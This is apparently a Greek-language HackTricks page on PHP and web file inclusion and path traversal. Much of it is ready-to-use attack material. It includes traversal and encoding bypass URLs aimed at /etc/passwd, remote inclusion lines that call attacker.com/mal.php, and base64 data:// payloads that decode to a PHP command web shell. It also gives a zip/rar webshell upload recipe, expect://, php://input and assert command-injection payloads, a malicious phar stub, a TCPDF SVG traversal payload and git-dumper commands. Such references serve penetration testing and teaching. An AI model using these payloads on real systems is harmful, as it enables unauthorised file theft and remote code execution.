File Inclusion/Path traversal

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

File Inclusion

Remote File Inclusion (RFI): Το αρχείο φορτώνεται από απομακρυσμένο διακομιστή (Καλύτερο: Μπορείς να γράψεις κώδικα και ο διακομιστής θα τον εκτελέσει). Στο php αυτό είναι απενεργοποιημένο από προεπιλογή (allow_url_include).
Local File Inclusion (LFI): Ο διακομιστής φορτώνει ένα τοπικό αρχείο.

Η ευπάθεια εμφανίζεται όταν ο χρήστης μπορεί με κάποιον τρόπο να ελέγξει το αρχείο που θα φορτώσει ο διακομιστής.

Ευάλωτες PHP functions: require, require_once, include, include_once

Ένα ενδιαφέρον εργαλείο για την εκμετάλλευση αυτής της ευπάθειας: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Συνδυάζοντας διάφορες *nix LFI λίστες και προσθέτοντας περισσότερες διαδρομές δημιούργησα αυτή:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Δοκιμάστε επίσης να αλλάξετε / για \
Δοκιμάστε επίσης να προσθέσετε ../../../../../

A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here

Windows

Συγχώνευση διαφορετικών wordlists:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt

Δοκιμάστε επίσης να αλλάξετε / για \
Δοκιμάστε επίσης να αφαιρέσετε C:/ και να προσθέσετε ../../../../../

A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here

OS X

Ελέγξτε τη λίστα LFI του linux.

Βασικά LFI και bypasses

Όλα τα παραδείγματα αφορούν Local File Inclusion αλλά θα μπορούσαν επίσης να εφαρμοστούν σε Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences που αφαιρούνται μη-αναδρομικά

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass την προσθήκη περισσότερων χαρακτήρων στο τέλος της δοθείσας συμβολοσειράς (bypass of: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

Αυτό έχει επιλυθεί από PHP 5.4

Κωδικοποίηση

Μπορείτε να χρησιμοποιήσετε μη-τυπικές κωδικοποιήσεις όπως double URL encode (και άλλες):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

Modern HTML-to-PDF engines (e.g. TCPDF or wrappers such as html2pdf) αναλύουν άνετα HTML, SVG, CSS και font URLs που παρέχονται από επιτιθέμενους, ενώ τρέχουν μέσα σε αξιόπιστα backend δίκτυα με πρόσβαση στο σύστημα αρχείων. Μόλις μπορέσετε να εγχύσετε HTML στο $pdf->writeHTML()/Html2Pdf::writeHTML(), συχνά μπορείτε να εξάγετε τοπικά αρχεία που μπορεί να διαβάσει ο λογαριασμός του web server.

  • Fingerprint the renderer: every generated PDF contains a Producer field (e.g. TCPDF 6.8.2). Η γνώση του ακριβούς build σας λέει ποια φίλτρα διαδρομών υπάρχουν και εάν γίνεται αποκωδικοποίηση URL πριν από την επικύρωση.
  • Inline SVG payloads: TCPDF::startSVGElementHandler() reads the xlink:href attribute from <image> elements before running urldecode(). Η ενσωμάτωση ενός κακόβουλου SVG μέσα σε ένα data URI κάνει πολλούς HTML sanitizers να αγνοούν το payload ενώ το TCPDF εξακολουθεί να το αναλύει:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF προσθέτει $_SERVER['DOCUMENT_ROOT'] στις διαδρομές που αρχίζουν με / και μόνο αργότερα επιλύει τα .., οπότε χρησιμοποίησε είτε αρχικά segments ../../.. είτε /../../.. για να διαφύγεις από το root μετά την πρόσθεση.

  • Κωδικοποίηση για παράκαμψη επιπόλαιων φίλτρων: Οι εκδόσεις ≤6.8.2 ελέγχουν μόνο για το κυριολεκτικό υποσυμβολοσειρά ../ πριν την αποκωδικοποίηση του URL. Αποστολή ..%2f..%2F) στο SVG ή σε ένα raw <img src> attribute παρακάμπτει τον έλεγχο, επειδή η ακολουθία traversal dot-dot-slash αναδημιουργείται μόνο αφού το TCPDF καλέσει urldecode().
  • Διπλή κωδικοποίηση για αποκωδικοποίηση πολλαπλών σταδίων: Αν η είσοδος χρήστη αποκωδικοποιείται από το web framework και από το TCPDF, κωδικοποίησε διπλά το slash (%252f). Μια αποκωδικοποίηση το μετατρέπει σε %2f, η δεύτερη αποκωδικοποίηση στο TCPDF το μετατρέπει σε /, αποδίδοντας /..%252f../../../../… χωρίς ποτέ να εμφανιστεί ../ στον αρχικό φίλτρο.
  • HTML <img> handler: TCPDF::openHTMLTagHandler() περιέχει το ίδιο σφάλμα στη σειρά λειτουργιών, επιτρέποντας direct HTML payloads όπως src="%2f..%252f..%252ftmp%252fsecret.png" να διαβάζουν οποιοδήποτε τοπικά προσβάσιμο bitmap.

Αυτή η τεχνική leaks οτιδήποτε μπορεί να διαβαστεί από τον PDF worker (σκαναρίσματα διαβατηρίων, API keys rendered as images, κ.λπ.). Οι hardeners το διόρθωσαν στην 6.9.1 με κανονικοποίηση διαδρομών (isRelativePath()), οπότε κατά τις δοκιμές δώστε προτεραιότητα σε παλαιότερες εκδόσεις του Producer.

Από υπάρχον φάκελο

Ίσως το back-end ελέγχει τη διαδρομή του φακέλου:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Εξερεύνηση Δομών Συστήματος Αρχείων σε έναν διακομιστή

Το σύστημα αρχείων ενός διακομιστή μπορεί να εξερευνηθεί αναδρομικά για να εντοπιστούν κατάλογοι, όχι μόνο αρχεία, χρησιμοποιώντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους των καταλόγων και την εξέταση της ύπαρξης συγκεκριμένων φακέλων. Παρακάτω δίνεται μια λεπτομερής μέθοδος για να το πετύχετε:

  1. Determine Directory Depth: Προσδιορίστε το βάθος του τρέχοντος καταλόγου σας επιτυχώς ανακτώντας το αρχείο /etc/passwd (ισχύει αν ο διακομιστής βασίζεται σε Linux). Ένα παράδειγμα URL μπορεί να είναι δομημένο ως εξής, υποδεικνύοντας βάθος τριών:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Probe for Folders: Προσθέστε το όνομα του υποψιαζόμενου φακέλου (π.χ., private) στο URL, στη συνέχεια πλοηγηθείτε πίσω σε /etc/passwd. Το επιπλέον επίπεδο καταλόγου απαιτεί την αύξηση του βάθους κατά ένα:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Ερμηνεία των Αποτελεσμάτων: Το response του server υποδεικνύει εάν ο φάκελος υπάρχει:
  • Σφάλμα / Καμία έξοδος: Ο φάκελος private μάλλον δεν υπάρχει στη συγκεκριμένη θέση.
  • Περιεχόμενα του /etc/passwd: Επιβεβαιώνεται η παρουσία του φακέλου private.
  1. Αναδρομική Εξερεύνηση: Οι εντοπισμένοι φάκελοι μπορούν να ελεγχθούν περαιτέρω για υποφακέλους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή τις παραδοσιακές μεθόδους Local File Inclusion (LFI).

Για να εξερευνήσετε καταλόγους σε διαφορετικές θέσεις στο σύστημα αρχείων, προσαρμόστε το payload ανάλογα. Για παράδειγμα, για να ελέγξετε εάν το /var/www/ περιέχει έναν κατάλογο private (υποθέτοντας ότι ο τρέχων κατάλογος βρίσκεται σε βάθος 3), χρησιμοποιήστε:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation είναι μια μέθοδος που χρησιμοποιείται για να χειραγωγήσει διαδρομές αρχείων σε εφαρμογές web. Συχνά χρησιμοποιείται για πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας ορισμένα μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των διαδρομών αρχείων. Ο στόχος είναι να δημιουργηθεί μια διαδρομή αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, εξακολουθεί να δείχνει στο επιθυμητό αρχείο.

Στο PHP, διάφορες αναπαραστάσεις μιας διαδρομής αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ θεωρούνται όλες ως η ίδια διαδρομή.
  • Όταν οι τελευταίοι 6 χαρακτήρες είναι passwd, το να προστεθεί ένα / (δημιουργώντας passwd/) δεν αλλάζει το στοχευόμενο αρχείο.
  • Ομοίως, αν προστεθεί .php σε μια διαδρομή αρχείου (όπως shellcode.php), η προσθήκη ενός /. στο τέλος δεν θα αλλάξει το αρχείο στο οποίο γίνεται πρόσβαση.

Τα παραδείγματα που ακολουθούν δείχνουν πώς να χρησιμοποιήσετε το path truncation για πρόσβαση στο /etc/passwd, έναν κοινό στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμών χρηστών):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Σε αυτά τα σενάρια, ο αριθμός των traversals που απαιτούνται μπορεί να είναι περίπου 2027, αλλά αυτός ο αριθμός μπορεί να διαφέρει ανάλογα με τη διαμόρφωση του server.

  • Χρήση Dot Segments και Επιπλέον Χαρακτήρων: Οι ακολουθίες traversal (../) σε συνδυασμό με επιπλέον dot segments και χαρακτήρες μπορούν να χρησιμοποιηθούν για να περιηγηθούν στο file system, αγνοώντας αποτελεσματικά τα προστιθέμενα strings από τον server.
  • Καθορισμός του Απαραίτητου Αριθμού Traversals: Μέσω δοκιμών και σφαλμάτων, μπορεί κανείς να βρει τον ακριβή αριθμό ../ ακολουθιών που απαιτούνται για να μεταβεί στον root κατάλογο και μετά στο /etc/passwd, εξασφαλίζοντας ότι τυχόν προστιθέμενα strings (όπως .php) εξουδετερώνονται αλλά η επιθυμητή διαδρομή (/etc/passwd) παραμένει ανέπαφη.
  • Έναρξη με ένα Fake Directory: Είναι συνηθισμένη πρακτική να ξεκινάει η διαδρομή με έναν μη υπαρκτό κατάλογο (όπως a/). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να ικανοποιήσει τις απαιτήσεις της λογικής ανάλυσης διαδρομών του server.

When employing path truncation techniques, είναι κρίσιμο να κατανοήσετε τη συμπεριφορά parsing των διαδρομών του server και τη δομή του filesystem. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και συχνά είναι απαραίτητο testing για να βρεθεί η πιο αποτελεσματική μέθοδος.

Αυτή η ευπάθεια διορθώθηκε στην PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

Στο php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή allow_url_include είναι Off. Πρέπει να είναι On για να λειτουργήσει, και σε αυτή την περίπτωση μπορείτε να συμπεριλάβετε ένα PHP αρχείο από τον server σας και να αποκτήσετε RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Εάν για κάποιο λόγο allow_url_include είναι On, αλλά το PHP φιλτράρει την πρόσβαση σε εξωτερικές ιστοσελίδες, according to this post, μπορείτε να χρησιμοποιήσετε για παράδειγμα το data protocol με base64 για να αποκωδικοποιήσετε ένα b64 PHP code και να πετύχετε RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Εκτεθειμένο αποθετήριο .git (Source Disclosure)

Εάν ο web server εκθέτει /.git/, ένας επιτιθέμενος μπορεί συχνά να ανασυστήσει ολόκληρο το αποθετήριο (συμπεριλαμβανομένου του ιστορικού commits) και να ελέγξει την εφαρμογή offline. Αυτό συνήθως αποκαλύπτει κρυφά endpoints, secrets, SQL queries, και λειτουργίες μόνο για admin.

Γρήγοροι έλεγχοι:

curl -s -i http://TARGET/.git/HEAD
curl -s -i http://TARGET/.git/config

Dump το αποθετήριο με git-dumper:

uv tool install git-dumper
git-dumper http://TARGET/.git/ out/

Στη συνέχεια, επαναφέρετε το working tree:

cd out
git checkout .

Tip

Στον προηγούμενο κώδικα, το τελικό +.txt προστέθηκε επειδή ο επιτιθέμενος χρειαζόταν μια συμβολοσειρά που τελείωνε σε .txt, οπότε η συμβολοσειρά τελειώνει με αυτό και μετά το b64 decode αυτό το τμήμα θα επιστρέψει μόνο σκουπίδια και ο πραγματικός PHP κώδικας θα συμπεριληφθεί (και κατά συνέπεια, θα εκτελεστεί).

Ένα ακόμη παράδειγμα χωρίς χρήση του php:// πρωτοκόλλου θα ήταν:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Root στοιχείο

Σε python, σε κώδικα όπως το παρακάτω:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Εάν ο χρήστης περάσει ένα absolute path στο file_name, το previous path απλώς αφαιρείται:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Αυτή είναι η αναμενόμενη συμπεριφορά σύμφωνα με the docs:

Εάν ένα στοιχείο είναι απόλυτη διαδρομή, όλα τα προηγούμενα στοιχεία απορρίπτονται και η σύνδεση συνεχίζεται από το στοιχείο της απόλυτης διαδρομής.

Java Λίστα καταλόγων

Φαίνεται πως αν έχεις ένα Path Traversal σε Java και ζητήσεις έναν κατάλογο αντί για αρχείο, επιστρέφεται μια λίστα του καταλόγου. Αυτό δεν θα συμβαίνει σε άλλες γλώσσες (όσο γνωρίζω).

25 κορυφαίες παράμετροι

Ακολουθεί λίστα με τις 25 κορυφαίες παραμέτρους που θα μπορούσαν να είναι ευάλωτες σε local file inclusion (LFI) vulnerabilities (from link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI με χρήση PHP wrappers & protocols

php://filter

PHP filters allow perform basic modification operations on the data before being it’s read or written. There are 5 categories of filters:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Remove tags from the data (everything between “<” and “>” chars)
  • Note that this filter has disappear from the modern versions of PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Μετατρέπει σε διαφορετική κωδικοποίηση (convert.iconv.<input_enc>.<output_enc>). Για να πάρετε τη λίστα με όλες τις κωδικοποιήσεις που υποστηρίζονται εκτελέστε στην κονσόλα: iconv -l

Warning

Καταχρηστικά χρησιμοποιώντας το φίλτρο μετατροπής convert.iconv.* μπορείτε να παράγετε αυθαίρετο κείμενο, κάτι που μπορεί να είναι χρήσιμο για να γράψετε αυθαίρετο κείμενο ή να κάνετε μια συνάρτηση όπως include να επεξεργάζεται αυθαίρετο κείμενο. Για περισσότερες πληροφορίες δείτε LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Compress the content (useful if exfiltrating a lot of info)
  • zlib.inflate: Decompress the data
  • Encryption Filters
  • mcrypt.* : Απαρχαιωμένο
  • mdecrypt.* : Απαρχαιωμένο
  • Other Filters
  • Running in php var_dump(stream_get_filters()); you can find a couple of unexpected filters:
  • consumed
  • dechunk: reverses HTTP chunked encoding
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

Το μέρος “php://filter” δεν κάνει διάκριση πεζών-κεφαλαίων

Χρήση php filters ως oracle για την ανάγνωση αυθαίρετων αρχείων

In this post προτείνεται μια τεχνική για να διαβαστεί ένα τοπικό αρχείο χωρίς να επιστραφεί το αποτέλεσμα από τον διακομιστή. Αυτή η τεχνική βασίζεται σε μια boolean exfiltration of the file (char by char) using php filters ως oracle. Αυτό συμβαίνει γιατί τα php filters μπορούν να χρησιμοποιηθούν για να μεγενθύνουν ένα κείμενο αρκετά ώστε να κάνει το php να πετάξει exception.

Στο αρχικό άρθρο θα βρείτε μια λεπτομερή εξήγηση της τεχνικής, αλλά εδώ είναι μια σύντομη περίληψη:

  • Use the codec UCS-4LE για να αφήσει τον πρώτο χαρακτήρα του κειμένου στην αρχή και να κάνει το μέγεθος της συμβολοσειράς να αυξάνεται εκθετικά.
  • Αυτό θα χρησιμοποιηθεί για να δημιουργήσει ένα κείμενο τόσο μεγάλο όταν η αρχική γραμμα είναι μαντευτεί σωστά που το php θα προκαλέσει ένα σφάλμα
  • Το φίλτρο dechunk θα αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι hexadecimal, οπότε μπορούμε να ξέρουμε αν ο πρώτος χαρακτήρας είναι hex.
  • Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα filters ανάλογα με το μαντευμένο γράμμα), θα μας επιτρέψει να μαντέψουμε ένα γράμμα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετές μετατροπές ώστε να μην είναι πλέον hexadecimal χαρακτήρας. Επειδή αν είναι hex, το dechunk δεν θα το διαγράψει και η αρχική “βόμβα” θα προκαλέσει php error.
  • Ο κωδικοποιητής convert.iconv.UNICODE.CP930 μετασχηματίζει κάθε γράμμα στο επόμενο (οπότε μετά από αυτόν τον codec: a -> b). Αυτό μας επιτρέπει να ανακαλύψουμε αν ο πρώτος χαρακτήρας είναι ένα a για παράδειγμα γιατί αν εφαρμόσουμε 6 από αυτούς τους codecs a->b->c->d->e->f->g το γράμμα δεν είναι πια hexadecimal χαρακτήρας, συνεπώς το dechunk δεν το διαγράφει και το php error ενεργοποιείται λόγω της πολλαπλασιαστικής αρχικής βόμβας.
  • Χρησιμοποιώντας άλλους μετασχηματισμούς όπως rot13 στην αρχή είναι δυνατό να leak άλλους χαρακτήρες όπως n, o, p, q, r (και άλλοι codecs μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στο hex range).
  • Όταν ο αρχικός χαρακτήρας είναι αριθμός χρειάζεται να τον base64 encode-άρουμε και να leak-άρουμε τα 2 πρώτα γράμματα για να αποκαλύψουμε τον αριθμό.
  • Το τελικό πρόβλημα είναι να δούμε πώς να leak-άρουμε περισσότερα από το αρχικό γράμμα. Χρησιμοποιώντας order memory filters όπως convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE είναι δυνατό να αλλάξουμε την σειρά των χαρακτήρων και να φέρουμε στην πρώτη θέση άλλα γράμματα του κειμένου.
  • Και για να είμαστε ικανοί να αποκτήσουμε περεταίρω δεδομένα η ιδέα είναι να δημιουργήσουμε 2 bytes junk data στην αρχή με convert.iconv.UTF16.UTF16, να εφαρμόσουμε UCS-4LE για να τα κάνουμε pivot με τα επόμενα 2 bytes, και να διαγράψουμε τα δεδομένα μέχρι τα junk data (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίστε κάνοντας αυτό μέχρι να φτάσετε το επιθυμητό κομμάτι για να leak-άρετε.

Στο άρθρο δόθηκε επίσης ένα εργαλείο για να το εκτελεί αυτό αυτόματα: php_filters_chain_oracle_exploit.

php://fd

Αυτός ο wrapper επιτρέπει την πρόσβαση σε file descriptors που η διεργασία έχει ανοικτά. Ενδεχομένως χρήσιμο για exfiltrate το περιεχόμενο των ανοικτών αρχείων:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Μπορείτε επίσης να χρησιμοποιήσετε php://stdin, php://stdout and php://stderr για πρόσβαση στα file descriptors 0, 1 and 2 αντίστοιχα (δεν είναι σαφές πώς αυτό θα μπορούσε να είναι χρήσιμο σε μια επίθεση)

zip:// και rar://

Ανεβάστε ένα Zip ή Rar αρχείο με PHPShell μέσα και αποκτήστε πρόσβαση σε αυτό.
Για να μπορείτε να καταχραστείτε το rar πρωτόκολλο, πρέπει να ενεργοποιηθεί ειδικά.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Σημειώστε ότι αυτό το πρωτόκολλο περιορίζεται από τις php ρυθμίσεις allow_url_open και allow_url_include

expect://

Το Expect πρέπει να είναι ενεργοποιημένο. Μπορείτε να εκτελέσετε κώδικα χρησιμοποιώντας αυτό:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Καθορίστε το payload σας στις παραμέτρους POST:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Ένα αρχείο .phar μπορεί να χρησιμοποιηθεί για την εκτέλεση κώδικα PHP όταν μια web εφαρμογή αξιοποιεί συναρτήσεις όπως include για τη φόρτωση αρχείων. Το παρακάτω απόσπασμα κώδικα PHP δείχνει τη δημιουργία ενός αρχείου .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Για να μεταγλωττιστεί το αρχείο .phar, πρέπει να εκτελεστεί η παρακάτω εντολή:

php --define phar.readonly=0 create_path.php

Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με όνομα test.phar, το οποίο ενδέχεται να αξιοποιηθεί για την εκμετάλλευση ευπαθειών Local File Inclusion (LFI).

Σε περιπτώσεις όπου το LFI μόνο διαβάζει αρχεία χωρίς να εκτελεί τον PHP κώδικα στο εσωτερικό — μέσω συναρτήσεων όπως file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), ή filesize() — μπορεί να επιχειρηθεί εκμετάλλευση μιας ευπάθειας αποσειριοποίησης. Αυτή η ευπάθεια σχετίζεται με την ανάγνωση αρχείων χρησιμοποιώντας το πρωτόκολλο phar.

Για λεπτομερή κατανόηση της εκμετάλλευσης ευπαθειών αποσειριοποίησης στο πλαίσιο αρχείων .phar, ανατρέξτε στο έγγραφο που συνδέεται παρακάτω:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Ήταν δυνατό να καταχραστεί any arbitrary file read from PHP that supports php filters για να αποκτηθεί RCE. Η λεπτομερής περιγραφή μπορεί να found in this post.\ Very quick summary: a 3 byte overflow in the PHP heap was abused to alter the chain of free chunks of anspecific size in order to be able to write anything in any address, so a hook was added to call system.\ It was possible to alloc chunks of specific sizes abusing more php filters.

Περισσότερα πρωτόκολλα

Δείτε περισσότερα πιθανά protocols to include here:

  • php://memory and php://temp — Γράφει στη μνήμη ή σε ένα προσωρινό αρχείο (δεν είναι σαφές πώς αυτό μπορεί να είναι χρήσιμο σε ένα file inclusion attack)
  • file:// — Πρόσβαση στο τοπικό σύστημα αρχείων
  • http:// — Πρόσβαση σε HTTP(s) URLs
  • ftp:// — Πρόσβαση σε FTP(s) URLs
  • zlib:// — Ροές συμπίεσης
  • glob:// — Εντοπίζει ονόματα μονοπατιών που ταιριάζουν με μοτίβο (Δεν επιστρέφει τίποτα εκτυπώσιμο, οπότε δεν είναι πραγματικά χρήσιμο εδώ)
  • ssh2:// — Secure Shell 2
  • ogg:// — Ροές ήχου (Δεν είναι χρήσιμο για την ανάγνωση αυθαίρετων αρχείων)

LFI via PHP’s ‘assert’

Οι κίνδυνοι από Local File Inclusion (LFI) στην PHP είναι ιδιαίτερα υψηλοί όταν εμπλέκεται η συνάρτηση ‘assert’, η οποία μπορεί να εκτελέσει κώδικα που περιέχεται σε συμβολοσειρές. Αυτό είναι ιδιαίτερα προβληματικό εάν γίνεται έλεγχος εισροών που περιέχουν χαρακτήρες directory traversal όπως “..” αλλά δεν υφίστανται σωστή απολύμανση.

Για παράδειγμα, ο κώδικας PHP μπορεί να έχει σχεδιαστεί για να αποτρέπει directory traversal ως εξής:

assert("strpos('$file', '..') === false") or die("");

Ενώ αυτό αποσκοπεί στο να εμποδίσει το traversal, δημιουργεί ακούσια ένα διάνυσμα για code injection. Για να το εκμεταλλευτεί για reading file contents, ένας attacker θα μπορούσε να χρησιμοποιήσει:

' and die(highlight_file('/etc/passwd')) or '

Ομοίως, για την εκτέλεση αυθαίρετων εντολών συστήματος, κάποιος μπορεί να χρησιμοποιήσει:

' and die(system("id")) or '

Είναι σημαντικό να URL-encode αυτά τα payloads.

PHP Blind Path Traversal

Warning

Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου εσείς control το file path μιας PHP function που θα access a file αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση στην file()) επειδή το περιεχόμενο δεν εμφανίζεται.

In this incredible post εξηγείται πώς ένα blind path traversal μπορεί να καταχραστεί μέσω PHP filter για να exfiltrate the content of a file via an error oracle.

Συνοπτικά, η τεχνική χρησιμοποιεί την κωδικοποίηση “UCS-4LE” για να κάνει το περιεχόμενο ενός αρχείου τόσο μεγάλο ώστε η PHP function opening του αρχείου να προκαλέσει ένα σφάλμα.

Έπειτα, για να leak-αριστεί το πρώτο char, ο filter dechunk χρησιμοποιείται μαζί με άλλους όπως base64 ή rot13 και τελικώς οι φίλτροι convert.iconv.UCS-4.UCS-4LE και convert.iconv.UTF16.UTF-16BE χρησιμοποιούνται για να τοποθετήσουν άλλα chars στην αρχή και να τα leak-άρουν.

Συναρτήσεις που ενδέχεται να είναι ευάλωτες: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Για τις τεχνικές λεπτομέρειες δείτε το προαναφερθέν post!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

